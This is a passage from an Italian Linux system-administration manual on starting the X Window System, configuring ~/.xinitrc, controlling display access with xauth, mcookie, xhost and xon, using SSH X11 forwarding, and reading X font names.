3. Nel ciclo '**while**', vengono scanditi gli eventuali argomenti utilizzati per avviare '**startx**'; se ne vengono trovati, questi prevalgono su quelli predefiniti.
4. Se ci sono argomenti vengono utilizzati, altrimenti si fa riferimento al contenuto dei file di configurazione.
5. Se non è definita la variabile di ambiente ***XAUTHORITY***, questa viene creata inserendovi il contenuto del file '`~/.Xauthority`'.
6. Definisce l'autorizzazione all'accesso alla stazione grafica (*display*) attraverso una stringa generata in modo casuale, con il programma '**mcookie**'.
7. Avvia '**xinit**' con gli argomenti determinati in base all'elaborazione precedente.
8. Al termine del funzionamento di '**xinit**', elimina l'autorizzazione concessa precedentemente.

9. Infine, viene liberata la memoria usata per l'utilizzo della console virtuale in cui prima si collocava il sistema grafico.

Da quanto visto finora, si può intuire l'importanza dello script '~/.xinitrc'. È il mezzo attraverso cui avviare più programmi clienti, ma non solo: esistono programmi che hanno lo scopo di configurare alcune impostazioni del servente X e questo è l'unico posto comodo per metterli in esecuzione in modo automatico. Un esempio di questi programmi è '**xset**'.

Supponendo di avere avviato '**startx**' senza argomenti, si dovrebbe ottenere uno schema simile a quello seguente:

```
...---startx---xinit-+-Xorg
                     `-twm
```

Come si può osservare, rispetto allo stesso esempio visto nella sezione precedente, si ha '**startx**' che avvia '**xinit**', il quale poi provvede al resto.

31.5.1.3 Script «~/.xinitrc»

Questo script è quello predefinito per l'avvio dei primi programmi clienti di un servente X avviato attraverso il programma '**xinit**'.

Per preparare il proprio script personalizzato si può partire da quello predefinito della distribuzione GNU che dovrebbe trovarsi all'interno di '/usr/lib/X11/xinit/' (oppure '/etc/X11/xinit/'). Basta copiarlo nella propria directory personale e cambiargli nome facendolo diventare '~/.xinitrc'.

La preparazione di questo script è molto importante, se non altro perché permette di definire il tipo di gestore di finestre che si vuole utilizzare.

Un tempo, il file predefinito era piuttosto complesso, includendo la procedura di autorizzazione all'accesso per la stazione grafica. Recentemente le cose sono cambiate e il problema di questa autorizzazione è stato spostato nello script '**startx**'. Pertanto, se verso la fine del file si incontra un commento del tipo '**# start some nice programs**', si possono aggiungere dei comandi solo dopo quel punto; diversamente, se il file non contiene nulla di particolare, lo si può semplicemente scrivere da zero. L'esempio seguente si riferisce a un'impostazione recente, in cui il file '~/.xinitrc' può limitarsi a contenere solo ciò che serve direttamente all'utente finale:

```
#!/bin/sh
xsetroot -solid SteelBlue
exec twm
```

Il programma '**xsetroot**' definisce lo sfondo, in questo caso solo un colore, quindi termina immediatamente l'esecuzione. Il programma '**twm**' è il gestore di finestre (*window manager*) da avviare; in particolare si usa il comando '**exec**' allo scopo di rimpiazzare la shell. Eventualmente, prima di avviare il gestore di finestre si possono indicare altri programmi che si vuole siano già pronti in esecuzione quando si avvia il servente. Per esempio, volendo avviare '**xclock**' basterebbe modificare le ultime righe come segue:

```
# start some nice programs
xsetroot -solid SteelBlue
xclock -geometry +0+0 &
exec twm
```

In questo caso, '**xclock**' viene avviato sullo sfondo perché altrimenti, a differenza di '**xsetroot**', rimarrebbe in funzione fino al ricevimento di un segnale di interruzione, impedendo così l'avvio del gestore di finestre fino al termine del suo funzionamento.[8]

Si deve ricordare che si tratta di uno script, pertanto occorre che gli siano attribuiti i permessi necessari di esecuzione.

31.5.1.4 Configurazione globale e sequenza di script

Quando si vuole fare in modo che si possa mettere in funzione il sistema grafico X senza costringere gli utenti a predisporre la loro personalizzazione tramite il file '`~/.xinitrc`', si deve essere in grado di risalire alla configurazione generale. In questo senso, ogni distribuzione GNU potrebbe avere una propria politica e questo rischia di complicare le cose. Qui viene proposta una situazione, ma in pratica ognuno deve rifare una propria ricerca.

Si parte dallo script '**startx**' per determinare la collocazione dei file di configurazione predefiniti:

```
userclientrc=$HOME/.xinitrc
userserverrc=$HOME/.xserverrc
sysclientrc=/usr/lib/X11/xinit/xinitrc
sysserverrc=/usr/lib/X11/xinit/xserverrc
defaultclient=/usr/bin/X11/xterm
defaultserver=/usr/bin/X11/X
```

In questo caso, si intende intuitivamente che:

- lo script da usare per avviare i programmi clienti, secondo le impostazioni degli utenti, è '`~/.xinitrc`', mentre quello che stabilisce quale sia il programma servente è '`~/.xserverrc`';
- in mancanza degli script degli utenti, si usano '`/usr/lib/X11/xinit/xinitrc`' e '`/usr/lib/X11/xinit/xserverrc`' rispettivamente;
- in mancanza anche di questi file, si avvia semplicemente il programma '**xterm**' come cliente e il programma '**X**' come servente.

Tuttavia, dal momento che gli script '`/usr/lib/X11/xinit/xinitrc`' e '`/usr/lib/X11/xinit/xserverrc`' servono in pratica alla configurazione del sistema grafico, è normale che la loro collocazione reale sia invece nella directory '`/etc/X11/xinit/`', dove i nomi di origine corrispondono soltanto a dei collegamenti simbolici. Nello stesso modo, il file '`/usr/bin/X11/X`' che rappresenta il servente predefinito, dovrebbe essere un programma che si limita ad avviare a sua volta il file '`/etc/X11/X`', che a sua volta dovrebbe essere un altro collegamento simbolico che punta all'eseguibile corretto (di solito '`/usr/bin/X11/Xorg`').

Giunti a questo punto conviene dare un'occhiata ai file '`/usr/lib/X11/xinit/xinitrc`' e '`/usr/lib/X11/xinit/xserverrc`', ovvero a '`/etc/X11/xinit/xinitrc`' e '`/etc/X11/xinit/xserverrc`'. Il file '`xinitrc`' potrebbe presentarsi così:

```
#!/bin/sh
# $Xorg: xinitrc.cpp,v 1.3 2000/08/17 19:54:30 cpqbld Exp $

# /etc/X11/xinit/xinitrc
#
# global xinitrc file, used by all X sessions started by xinit (startx)

# invoke global X session script
. /etc/X11/Xsession
```

In questo caso, si vede che viene letto il contenuto del file '`/etc/X11/Xsession`' e trattato come una prosecuzione dello script stesso. Attraverso questo script ulteriore, si fanno poi una serie di altre operazioni, con cui si configura in pratica ciò che viene così definito come ***sessione***.

Il sistema grafico X può essere usato senza doversi prendere cura della configurazione della sessione. In pratica, si ottiene questo usando il file '`~/.xinitrc`' personalizzato, perché in tal modo si esclude l'uso dello script '**`xinitrc`**' globale, senza il quale non si attiva lo script '**`Xsession`**'. Tuttavia, se si vogliono usare convenientemente quelli che sono definiti come ***gestori di sessione*** (per esempio Gnome o KDE, che si collocano al di sopra dei comuni gestori di finestre), non si può evitare il passaggio per lo script '**`Xsession`**'.

Senza entrare nel dettaglio dello script '**`Xsession`**', vale la pena di annotare che questo, se lo trova, utilizza anche il file '`~/.Xsession`', nel caso un utente volesse definire l'utilizzo di un gestore di sessione diverso da quello predefinito.

Volendo dare un'occhiata allo script '**`xserverrc`**', si potrebbe trovare un contenuto simile a quello seguente:

```
#!/bin/sh
exec /usr/bin/X11/X -dpi 100 -nolisten tcp
```

In pratica, si avvia il file '`/usr/bin/X11/X`' ('`/usr/bin/X11/X`'), che, come già descritto, dovrebbe corrispondere in pratica a un collegamento simbolico riferito a '`/etc/X11/X`', il quale, a sua volta, dovrebbe essere un collegamento che punta al servente adatto per il proprio elaboratore.

In questo caso particolare, si vede che, per motivi di sicurezza, sono inibite espressamente le comunicazioni di rete attraverso il protocollo TCP/IP, con l'opzione '**`-nolisten tcp`**'. Pertanto, un utente che volesse abilitarle, dovrebbe scrivere il proprio file '`~/.xserverrc`', senza l'uso di questa opzione.

31.5.2 Privilegi per il funzionamento di un servente grafico

Esiste un particolare importante a proposito del funzionamento di un servente: per poter svolgere il suo compito deve poter accedere a certe risorse disponendo di privilegi adeguati. Perché ciò avvenga e sia consentito l'uso da parte di utenti comuni, è necessario che l'eseguibile che lo rappresenta abbia i permessi necessari a renderlo capace di questo. In pratica deve appartenere all'utente '**root**' e avere il bit SUID attivo (SUID-root). Generalmente, il file '`/usr/bin/X11/X`' è un programma che ottiene tali privilegi e si occupa di avviare il collegamento '`/etc/X11/X`'. L'esempio seguente mostra i permessi di questo file:

$ **ls -l /usr/bin/X11/X** [*Invio*]

```
-rwsr-sr-x    1 root     root         7400 gen 29 18:35 /usr/bin/X11/X
```

In questo modo, l'utente comune non può avviare direttamente l'eseguibile del servente grafico che preferisce, ma deve limitarsi a usare '**X**'.

31.5.3 Stazioni grafiche virtuali multiple

X può gestire più di una stazione grafica virtuale simultaneamente, con una modalità d'uso simile a quella delle console virtuali di un sistema GNU/Linux. In pratica, è possibile avviare diversi serventi X a cui si abbina un numero di stazione grafica differente. Dal momento che si tratta sempre della stessa macchina fisica, la configurazione non cambia.

L'avvio di più stazioni grafiche virtuali può creare dei problemi con il mouse se il dispositivo corrispondente non consente la lettura simultanea da parte di più processi. Questo è sempre lo stesso problema legato ai mouse bus e si può risolvere utilizzando il demone '**gpm**' con l'opzione '**-R**', facendo poi in modo che X utilizzi il dispositivo '`/dev/gpmdata`'.

Come è stato descritto nelle sezioni precedenti, il sistema grafico viene avviato generalmente attraverso lo script '**startx**', o eventualmente richiamando direttamente il programma '**xinit**'. Quando non si specificano opzioni particolari, si intende voler avviare il servente X utilizzando la stazione grafica '**:0**'. In un sistema GNU/Linux, ciò si traduce in pratica nell'utilizzo della posizione corrispondente alla prima console virtuale disponibile, che di solito è la settima.

Se si vogliono avviare altri serventi X, occorre specificare un diverso numero di stazione grafica, cosa che serve solo a distinguerle. Così, ogni nuovo servente avviato va a utilizzare una posizione corrispondente alla prima console virtuale rimasta libera. In pratica, [*Ctrl Alt F7*] dovrebbe permettere di raggiungere la prima di queste stazioni grafiche virtuali, [*Ctrl Alt F8*] la successiva e così di seguito.

Semplificando quanto mostrato nelle sezioni precedenti, a proposito di '**xinit**' e di '**startx**', si può fare riferimento alla sintassi seguente per avviare un servente X.

xinit -- [*stazione_grafica*] [*opzioni*]

startx -- [*stazione_grafica*] [*opzioni*]

Dopo i due trattini di separazione della parte cliente da quella servente, è possibile indicare il numero della stazione grafica, e subito dopo si possono indicare altre opzioni.

Di solito, si avvia '**startx**' (e meno frequentemente si avvia direttamente '**xinit**') senza indicare alcuna stazione grafica, facendo riferimento implicitamente al numero '**:0**'. Dopo averne avviato uno con questo numero, non ne possono essere avviati altri con lo stesso, quindi, se si vogliono gestire più serventi contemporaneamente, occorre definire la stazione grafica.

$ **startx -- :1** [*Invio*]

L'esempio mostrato avvia una copia del servente X utilizzando la stazione grafica '**:1**'.

Ci possono essere dei motivi per avviare diversi serventi X simultaneamente; per esempio per avere due o più sessioni funzionanti in qualità di utenti differenti, oppure per poter confrontare il funzionamento in presenza di diverse opzioni del servente, come nel caso seguente, dove si specifica una profondità di colori di 16 bit.

$ **startx -- :2 -depth 16** [*Invio*]

È importante tenere a mente che le opzioni del servente, che nell'esempio sono costituite solo da '**-depth 16**', vanno poste dopo l'indicazione della stazione grafica.

31.5.4 Definizione dello schermo

Per l'utilizzo normale che si può fare di X non è necessario doversi rendere conto che ogni programma cliente deve specificare lo schermo su cui vuole apparire. Infatti, viene definita automaticamente la variabile di ambiente ***DISPLAY*** contenente le coordinate dello schermo predefinito. Modificando eventualmente il contenuto di questa variabile, si cambia l'indicazione dello schermo predefinito per i programmi che vengono avviati ricevendo quel valore.

Generalmente è possibile informare un programma dello schermo su cui questo deve apparire attraverso un argomento standard, '**-display**', descritto nella sezione 32.1.

31.5.5 Accedere allo schermo

Quando si esegue una sessione TELNET, o qualunque altra cosa che permetta di accedere a un sistema remoto, si avvia una procedura di accesso su un altro elaboratore, utilizzando il proprio come terminale o console remota. Quando si utilizza un servente X è possibile condividere lo schermo del proprio monitor. Per farlo occorre autorizzare l'utilizzo del proprio schermo all'elaboratore remoto. Si osservi il comando seguente:

tizio@dinkel.brot.dg:~$ **xterm -display :0 &** [*Invio*]

Si tratta dell'utente '**tizio**', che dall'elaboratore *dinkel.brot.dg* intende avviare il programma '**xterm**' utilizzando lo schermo '**:0**' presso il suo stesso elaboratore locale. Si osservi anche che se l'utente in questione avvia questo comando da una finestra di terminale che si trova già a funzionare sullo schermo '**:0**', il comando seguente significherebbe la stessa cosa, in quanto l'informazione sullo schermo verrebbe ottenuta dalla variabile di ambiente ***DISPLAY***, senza bisogno di utilizzare l'opzione '**-display**':

tizio@dinkel.brot.dg:~$ **xterm &** [*Invio*]

Questo comando avvia '**xterm**', il quale tenta di connettersi con il servente X che gestisce lo schermo locale '**:0.0**' (abbreviato con '**:0**'), allo scopo di poterlo utilizzare: se il servente X si rifiuta, '**xterm**' deve rinunciare.

L'autorizzazione ad accedere allo schermo deve essere definita anche per lo stesso utente che ha avviato il servente X; tuttavia, questa autorizzazione viene predisposta inizialmente in modo automatico, attraverso '**startx**', oppure uno degli altri script coinvolti.

L'autorizzazione all'utilizzo del proprio schermo grafico da parte di programmi in esecuzione su altri elaboratori connessi in rete può avvenire semplicemente in base a un elenco di indirizzi autorizzati, oppure attraverso altre forme di riconoscimento. Qui vengono spiegati solo i modi più semplici e meno sicuri; per avere una visione completa delle possibilità si devono consultare le pagine di manuale *X(1)*, *xauth(1)* e *Xsecurity(1)*.

È importante non sottovalutare il pericolo di un accesso indesiderato al proprio servente X, in quanto un aggressore preparato può sfruttare questa possibilità per arrivare anche a utilizzare la tastiera. In pratica, un aggressore potrebbe fare tutto quello che gli concedono i privilegi con cui è stato avviato il servente X.

Il metodo più semplice in assoluto per concedere l'accesso al servente X è quello di stabilire attraverso il comando '**xhost**' quali sono gli elaboratori che possono accedere. Questo significa implicitamente che tutti gli utenti di questi elaboratori possono accedere. Volendo distinguere tra gli utenti, occorre utilizzare almeno il metodo delle chiavi in chiaro ('**MIT-MAGIC-COOKIE-1**').

Per attuare in pratica questo secondo meccanismo, viene utilizzato un file di configurazione personale, '`~/.Xauthority`', nel quale sono elencati degli indirizzi di serventi X e le chiavi di accesso relative. Questo file non è leggibile direttamente; tuttavia, a titolo di esempio, potrebbe contenere le informazioni seguenti, che si riferiscono all'utente '**tizio**' presso il solito elaboratore *dinkel.brot.dg*:

```
dinkel/unix:0   MIT-MAGIC-COOKIE-1   0f207ef0f71e2490b0648c26ed4f3e41
dinkel.brot.dg:0   MIT-MAGIC-COOKIE-1   0f207ef0f71e2490b0648c26ed4f3e41
```

Questo contenuto determina che il servente X, avviato dall'utente a cui appartiene questo file, accetta connessioni locali (attraverso un socket di dominio Unix) e connessioni remote, attraverso la tecnica del '**MIT-MAGIC-COOKIE-1**', quando chi accede fornisce la chiave di riconoscimento '**0f207ef0f71e2490b0648c26ed4f3e41**'. In questo caso, la chiave è la stessa, sia per le connessioni locali, sia per quelle attraverso la rete, ma potrebbero essere diverse; ciò che conta è che il cliente sia in grado di fornire la chiave giusta in base al tipo di connessione che effettua con il servente.

Per fare in modo che il cliente sappia quale chiave utilizzare, occorre che l'utente che tenta di accedere al servente X abbia un file '`~/.Xauthority`' contenente un record adatto. In pratica, se l'utente '**caio**' vuole accedere, deve avere il record seguente nel caso questo avvenga nell'ambito dello stesso elaboratore locale:

```
dinkel/unix:0   MIT-MAGIC-COOKIE-1   0f207ef0f71e2490b0648c26ed4f3e41
```

Oppure, gli serve il record successivo nel caso debba accedere da un altro elaboratore:

```
dinkel.brot.dg:0  MIT-MAGIC-COOKIE-1  0f207ef0f71e2490b0648c26ed4f3e41
```

Lo stesso utente che ha avviato il servente X deve essere autorizzato, attraverso il proprio file '~/.Xauthority' che serve per questo scopo, imponendo agli altri la chiave di accesso.

Si può comprendere meglio il meccanismo della chiave di riconoscimento '**MIT-MAGIC-COOKIE-1**', solo se si pensa allo scopo che ha: una persona può avere la possibilità di accedere a più elaboratori di una stessa rete locale, ma le utenze relative potrebbero anche corrispondere a nominativi-utente distinti, a seconda dell'elaboratore. Questa persona può avere la necessità di accedere a uno di questi elaboratori, attraverso la rete, avviando lì un programma che però deve apparire presso la stazione da cui sta operando. In altri termini, quando c'è la necessità di avviare un programma che deve apparire sullo schermo di un altro elaboratore, di solito si tratta di utenze che appartengono alla stessa persona fisica; in questo senso non c'è nulla di strano se tutte queste utenze condividono la stessa chiave.

Per la precisione, nel caso di due utenti che appartengono allo stesso elaboratore, il record che descrive la chiave di accesso locale deve essere identico per entrambi. Di conseguenza, la condivisione di questo implica che il servente X avviato da uno di questi due è anche accessibile dall'altro.

Dal momento che il file '~/.Xauthority' non è un file di testo normale, per accedervi, si utilizza generalmente il programma '**xauth**'.

31.5.5.1 Utilizzo di «xauth»

Il programma '**xauth**' è necessario per poter accedere alle informazioni contenute nei file di autorizzazione, normalmente '~/.Xauthority', per poterle modificare. Per la maggior parte delle situazioni, '**xauth**' non ha bisogno di contattare il servente X.

xauth [***opzioni***] [***comando argomento***...]

Il programma '**xauth**' interviene in base a dei comandi, che gli possono essere impartiti come argomenti della stessa riga di comando, nella parte finale, oppure in modo interattivo, attraverso l'invito seguente:

```
xauth>
```

Spesso, i comandi richiedono l'indicazione di un file. In quella occasione, se si utilizza un trattino singolo ('**-**'), questo viene inteso come lo standard input, oppure lo standard output, a seconda del contesto.

Tabella 31.42. Alcune opzioni.

Opzione	Descrizione
`-f` ***file_di_autorizzazione***	Permette di accedere a un file di autorizzazioni differente da quello standard, che di solito è '`~/.Xauthority`'.
`-b`	L'accesso al file delle autorizzazioni è regolato attraverso un file lucchetto (*lock file*), che alle volte potrebbe rimanere presente senza che ce ne sia più bisogno. Eccezionalmente e con prudenza, si può utilizzare questa opzione per forzare il blocco ed eliminare il file lucchetto (*lock file*) relativo.

Tabella 31.43. Alcuni comandi. I comandi di '**`xauth`**' possono essere impartiti in modo interattivo, oppure possono essere indicati come argomenti finali della riga di comando di '**`xauth`**'.

Comando	Descrizione
`add` ***stazione_grafica protocollo*** ↩ ↪ ***chiave_esadecimale***	Questo comando serve ad aggiungere manualmente un record nel file di autorizzazione. Deve essere specificata: la stazione grafica, ovvero un indirizzo che non arriva a specificare anche lo schermo (in caso contrario questa informazione viene ignorata semplicemente); il tipo di protocollo, che può anche essere abbreviato con un punto singolo ('`.`'), nel caso si tratti del tipo '**`MIT-MAGIC-COOKIE-1`**'; la chiave esadecimale, ovvero una stringa composta da un numero pari di cifre esadecimali, senza alcun prefisso.
`list` [***stazione_grafica***...]	Permette di visualizzare i record del file di autorizzazione, limitandosi alle stazioni grafiche indicate. Se queste non sono specificate, il comando mostra l'elenco completo.
`info`	Permette di conoscere alcune informazioni generali sul file di autorizzazione.
`extract` ***file*** [***stazione_grafica***...] `nextract` ***file stazione_grafica***...	Questo comando permette di estrarre alcuni record dal file delle autorizzazioni, corrispondenti alle stazioni grafiche indicate. Il risultato viene accumulato nel file indicato come primo argomento di questo comando. Nel primo caso, con '**`extract`**', le informazioni vengono memorizzate in forma binaria, mentre nel secondo, con '**`nextract`**', queste informazioni sono convertite in forma testuale.
`merge` ***file*** `nmerge` ***file***	Questo comando consente di acquisire nel file di autorizzazione i record contenuti nel file indicato. Questi record vanno a sostituire quelli corrispondenti, riferiti alle stesse stazioni grafiche che dovessero essere già presenti nel proprio file di autorizzazione. Anche in questo caso vale la differenza per cui '**`merge`**' si aspetta di attingere i record da un file binario, mentre '**`nmerge`**' utilizza un file di testo normale.
`remove` ***stazione_grafica***...	Elimina i record specificati attraverso l'indicazione delle stazioni grafiche relative.
`exit` `quit`	Questi due comandi riguardano il funzionamento interattivo di '**`xauth`**'. Con '**`exit`**' viene concluso il funzionamento del programma, salvando le modifiche; con '**`quit`**', si ottiene una conclusione senza salvare.

Segue la descrizione di alcuni esempi.

- `tizio@dinkel.brot.dg:~$` **`xauth add :0 .  12345678`** [*Invio*]

L'utente aggiunge, o modifica, il record di autorizzazione riferito all'accesso locale, specificando per questo il protocollo '**MIT-MAGIC-COOKIE-1**' in modo predefinito, attraverso il punto, indicando una stringa esadecimale molto semplice: 12345678_{16}.

- `tizio@dinkel.brot.dg:~$` **`extract /tmp/prova :0`** [*Invio*]

  Estrae una copia del record di autorizzazione all'accesso locale e la salva nel file '`/tmp/prova`'.

- `caio@dinkel.brot.dg:~$` **`merge /tmp/prova :0`** [*Invio*]

  Un altro utente, si appropria dei record contenuti nel file '`/etc/prova`'.

- `tizio@roggen.brot.dg:~$` **`xauth extract - $DISPLAY; ↩`**
  `↪` **`| rsh dinkel.brot.dg xauth merge -`** [*Invio*]

  L'utente '**`tizio`**' che sta utilizzando l'elaboratore *`roggen.brot.dg`* ottiene attraverso '**`rsh`**' di aggiungere al proprio file di autorizzazione remoto, quello presso la sua utenza corrispondente nell'elaboratore *`dinkel.brot.dg`*, il record riferito al servente X che sta utilizzando in quel momento. In altri termini, fa in modo di poter avviare dei programmi presso l'elaboratore remoto, utilizzando la stazione grafica su cui si trova. Si osservi l'uso della variabile di ambiente ***DISPLAY*** per ottenere l'indicazione precisa dello schermo che sta utilizzando e anche l'uso del trattino per collegare i due programmi attraverso i flussi standard.

31.5.5.2 Utilizzo di «mcookie»

Il programma '**`mcookie`**' ha lo scopo di generare un numero esadecimale, più o meno casuale, convertito in stringa, che viene emesso attraverso lo standard output:

```
mcookie
```

La sua utilità sta solo nel facilitare la generazione di chiavi per il sistema di autorizzazione. La situazione più comune in cui viene utilizzato è il comando seguente, dove in pratica ci si risparmia di decidere la chiave:

`$` **`xauth add :0 . `mcookie``** [*Invio*]

31.5.5.3 Riepilogo sull'utilizzo del file di autorizzazione

Il file di autorizzazione è composto da record contenenti tre informazioni: la stazione grafica (senza il dettaglio dello schermo); il nome di un protocollo di autenticazione; una chiave, il cui significato varia a seconda del tipo di protocollo utilizzato.

È importante sottolineare che può esistere un solo record per stazione grafica, per cui, ogni volta che si aggiunge un record per una certa stazione, questo va a sostituire un altro record eventuale riferito alla stessa stazione.

In generale, si distingue tra la stazione grafica locale, a cui si accede senza passare per la rete, e le stazioni grafiche remote, che contengono anche l'indicazione del nome del nodo di rete.

Tra le stazioni remote ci può essere anche quella locale, indicata secondo il punto di vista della rete.

Perché possa avvenire una connessione tra un programma cliente e un servente X, è necessario che il record di autorizzazione a cui può accedere il cliente, riferito al servente X in questione, sia identico a quello corrispondente del servente X.

Il sistema di autorizzazione di X sembra fatto perché le chiavi siano cambiate spesso. In generale, si cerca di sistemare l'autorizzazione sempre solo nel momento in cui ne esiste il bisogno, ma subito dopo sarebbe bene cambiare la chiave di autorizzazione.

31.5.5.4 Utilizzo di «xhost»

Il programma '**xhost**' permette di aggiungere o togliere nomi dalla lista di elaboratori e utenti a cui è concesso di utilizzare lo schermo grafico, senza la richiesta di altre forme di autenticazione:

```
xhost [[+|-]nome...]
```

```
xhost [+|-]
```

Se non vengono utilizzati argomenti, '**xhost**' emette un messaggio informando sullo stato attuale del controllo degli accessi. I nomi indicati nella sintassi di '**xhost**' hanno una struttura particolare:

```
famiglia:indirizzo
```

In pratica, per le connessioni su reti IPv4 si utilizza la famiglia '**inet**'.

Le funzionalità di X non sono sempre presenti su tutte le piattaforme. In questo caso particolare, potrebbe darsi che non sia possibile regolare gli accessi ai singoli utenti.

Se si vuole concedere sistematicamente l'accesso a qualche nodo di rete, conviene inserire i comandi necessari all'interno del file '~/.xinitrc' in modo che siano eseguiti ogni volta all'avvio del servente X.

Tabella 31.44. Alcune opzioni.

Opzione	Descrizione
+	L'accesso è consentito a tutti.
-	L'accesso è consentito solo agli elaboratori e agli utenti inclusi nell'elenco di quelli autorizzati.
[+]*nome*	Il nome indicato -- può trattarsi di un elaboratore o di un utente di un elaboratore -- è autorizzato a utilizzare lo schermo. Il segno '**+**' iniziale è facoltativo.
-*nome*	Il nome indicato (può trattarsi di un elaboratore o di un utente di un elaboratore) non è autorizzato a utilizzare lo schermo. Le connessioni in corso non vengono interrotte, ma le nuove connessioni vengono impedite.

Segue la descrizione di alcuni esempi.

- $ **xhost +** [*Invio*]

  Autorizza chiunque ad accedere.

- $ **xhost -** [*Invio*]

  Limita la possibilità di accesso ai soli nomi inseriti nell'elenco di elaboratori e utenti autorizzati.

- $ **xhost +inet:roggen.brot.dg** [*Invio*]

  Consente all'elaboratore *roggen.brot.dg* di accedere al servente grafico.

- $ **xhost -inet:roggen.brot.dg** [*Invio*]

  Elimina l'elaboratore *roggen.brot.dg* dalla lista di quelli a cui è consentito accedere.

31.5.5.5 Utilizzo di «xon»

'**xon**' esegue un comando in un elaboratore remoto attraverso '**rsh**', facendo in modo che venga utilizzato il servente X locale:

```
xon nodo_remoto [opzioni] [comando]
```

Si tratta in pratica di un modo abbreviato per eseguire un'applicazione remota senza la necessità di utilizzare la solita opzione '**-display**'.[9]

Se attraverso gli attributi non viene indicato alcun comando da eseguire, '**xon**' tenta di avviare '**xterm -ls**', in pratica una sessione '**xterm**' di *login*.

'**xon**' è in grado di funzionare solo quando l'elaboratore remoto è configurato in modo da consentire le connessioni remote attraverso '**rsh**' senza richiedere alcun tipo di riconoscimento. Sotto questo aspetto, '**xon**' è limitato all'utilizzo nelle reti chiuse in cui esiste un serio rapporto di fiducia tra le persone che vi accedono.

Tabella 31.45. Alcune opzioni.

Opzione	Descrizione
`-access`	Prima di eseguire il comando indicato, utilizza '**xhost**' nel tentativo di autorizzare l'elaboratore remoto a utilizzare il proprio servente X. In effetti, lo scopo di '**xon**' è quello di facilitare l'esecuzione di programmi remoti ma con un I/O locale, cioè attraverso il servente X con il quale si interagisce.
`-debug`	Quando '**xon**' viene avviato attraverso una finestra di terminale, utilizzando questa opzione si riceve lo standard output e lo standard error. In tal modo si possono conoscere eventuali segnalazioni di errore e qualunque altro output normale.

L'esempio seguente mostra l'avvio del programma '**`xcalc`**' nell'elaboratore *`roggen.brot.dg`*, utilizzando il servente X locale. Prima di farlo, '**`xon`**' avvia '**`xhost`**' per consentire all'elaboratore remoto di accedere al proprio servente X.

$ **`xon roggen.brot.dg -access /usr/bin/X11/xcalc`** [*Invio*]

31.5.6 Accedere allo schermo con Secure Shell

Secure Shell (sezione 49.7) facilita le connessioni remote, gestendo in modo automatico tutto il procedimento di autorizzazione all'accesso al proprio schermo. Per arrivare a questo risultato, è comunque necessario abilitare tale funzionalità nella configurazione: sia dalla parte del servente, sia dalla parte del cliente.

Nel file di configurazione del servente Secure Shell, è necessario trovare queste direttive:

```
X11Forwarding yes
X11DisplayOffset 10
```

Nel file di configurazione del cliente Secure Shell, è necessario trovare queste direttive:

```
Host *
    ForwardX11 yes
```

Così facendo, una volta aperta una finestra di terminale, ci si può collegare all'elaboratore remoto usando il cliente Secure Shell, come nell'esempio seguente:

tizio$dinkel.brot.dg:~$ **`ssh caio@roggen.brot.dg`** [*Invio*]

Dopo la fase di autenticazione, che potrebbe consistere nella richiesta della parola d'ordine, è possibile verificare che la variabile di ambiente ***DISPLAY*** risulta impostata in modo da fare riferimento al proprio elaboratore locale, utilizzando uno schermo particolare, come definito nella direttiva '**`X11DisplayOffset`**':

caio$roggen.brot.dg:~$ **`echo $DISPLAY`** [*Invio*]

```
dinkel.brot.dg:10.0
```

A questo punto, è sufficiente avviare un programma grafico qualunque nell'elaboratore remoto, senza bisogno di altro: si ottiene di farlo funzionare sul proprio schermo grafico.

caio$roggen.brot.dg:~$ **`xclock`** [*Invio*]

> Si osservi che la comunicazione tra i due elaboratori avviene all'interno di un tunnel definito da Secure Shell. Ciò consente di ottenere una connessione cifrata; in ogni caso, tuttavia, è da tenere in considerazione che non viene rilevata come tale da un programma di analisi del traffico in rete, ma solo come una connessione di Secure Shell.

31.5.7 Cambiare identità

Quando si intende avviare un programma che utilizza la grafica, ma con i privilegi di un altro utente, non basta usare il comando '**su**', come avviene per quei programmi che richiedono soltanto un terminale a caratteri. Infatti, si crea il problema delle autorizzazioni, già descritto nelle sezioni precedenti. Pertanto, occorre eventualmente un programma analogo a '**su**', in grado però di provvedere anche a ciò che serve per autorizzare la comunicazione con il proprio servente X. A titolo di esempio viene descritto Gksu:

```
gksu [-u utente] [opzioni] [comando]
```

Se il programma '**gksu**' viene avviato senza alcun argomento, chiede interattivamente cosa deve fare: quale utente deve impersonare e quale comando eseguire.

Figura 31.49. Il programma '**gksu**' avviato senza alcun argomento chiede tutto in modo interattivo.

In ogni caso, viene richiesto l'inserimento della parola d'ordine dell'utente che interessa. Di norma, la richiesta della parola d'ordine coincide con un congelamento momentaneo delle altre attività.

Figura 31.50. La richiesta dell'inserimento della parola d'ordine. In questo caso verrebbe avviato il programma '**mlterm**' in qualità di utente '**root**'.

31.5.8 Tipi di carattere

In base a quanto indicato nel file di configurazione '`/etc/XF86Config`' nella sezione '**`Files`**', i tipi di carattere utilizzati da X sono collocati nelle directory successive a '`/usr/lib/X11/fonts/`'. All'interno di queste directory si trovano dei file contenenti le informazioni sui vari tipi di carattere tipografico e i loro nomi sono contenuti negli elenchi '`fonts.dir`'.

Il nome di un carattere tipografico è strutturato in un modo altamente descrittivo. Segue un esempio che viene scomposto.[10]

```
-b&h-lucidatypewriter-medium-r-normal-sans-8-80-100-100-m-50-iso8859-1
```

- '**`b&h`**' è la «fonderia», ovvero il produttore;
- '**`lucidatypewriter`**' definisce la famiglia;
- '**`medium`**' è lo spessore;
- '**`r`**' è il tipo -- «r» sta per *roman* (tondo), «i» indicherebbe *italic* (corsivo) e «o» *oblique* (obliquo);
- '**`normal`**' è l'ampiezza orizzontale;
- '**`sans`**' è una particolarità dello stile, in questo caso indica l'assenza di grazie o *serif*, cioè dei terminali che facilitano la lettura;
- '**`8`**' indica la dimensione in punti grafici (pixel);
- '**`80`**' indica la dimensione in decimi di punto tipografici (precisamente si tratta di 722,7 per pollice, pari a circa 0,035 mm);
- '**`100`**' è la risoluzione orizzontale, espressa in punti per pollice, per la quale è stato progettato il tipo di carattere;
- '**`100`**' è la risoluzione verticale, espressa in punti per pollice, per la quale è stato progettato il tipo di carattere;
- '**`m`**' è la larghezza, in questo caso *monospaced*, ovvero a larghezza fissa, mentre l'alternativa sarebbe «p», cioè *proportional*;
- '**`50`**' è lo spessore medio espresso in decimi di punto (in questo caso si tratta di cinque punti normali);
- '**`iso8859-1`**' è l'insieme di caratteri, in questo caso, il codice '**`iso8859-1`**' corrisponde al noto ISO Latin 1.

31.5.9 X e l'uso senza dispositivo di puntamento

